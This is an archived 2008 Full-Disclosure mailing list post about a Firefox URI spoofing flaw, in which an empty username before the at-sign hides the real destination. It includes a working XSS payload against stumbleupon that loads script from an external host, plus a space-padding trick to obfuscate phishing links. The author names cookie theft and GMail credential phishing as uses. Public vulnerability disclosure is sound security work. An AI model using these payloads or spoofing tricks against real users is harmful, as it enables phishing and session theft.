full-disclosure - Firefox URI Spoofing Revisited

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <bc7e11f20802100307v6caeeb57v9af369ffd762cfce@mail.gmail.com>
Date: Sun, 10 Feb 2008 12:07:39 +0100
From: "carl hardwick" <hardwick.carl@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Firefox URI Spoofing Revisited

http://www.0x000000.com/

I talked about this before in a previous post. Mozilla pointed me on a
flaw, and I went back to investigate it some more. I turns out that
I'm right after all but in a different setting, but with the same
idea. The below vector can be used to trick filters or surfers into
performing various things. One of them is to steal cookies from
surfers who think that the URI we give them is legit, or phish for
credentials by setting up a cloned GMail page. This is due to the
empty user name: http://:uri@...shdomain. Normally when you fill in
the user name like: http://foo:uri@...shdomain. it will give a
warning, which it should. But without a user name it won't give us a
warning, and thereby tricking Firefox to strip the whole part before
the at-sign and go to the domain after the at-sign. This can be
dangerous in some ways, because of the unknown potential it holds.
Triggering or bypassing RegEx filters who only look for a white-listed
domain are some of the possibilities. Anyway, I thought it was worth
mentioning it.

Here we can trick users into triggering a XSS on stumbleupon:

http://:www.gmail.com@....stumbleupon.com/create_campaign.php?url="><script
src=http://www.0x000000.com/x.js></script><"

To obfuscate it, one can encode it or put a lot of spaces between:

http://:www.gmail.com            @phishdomain

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/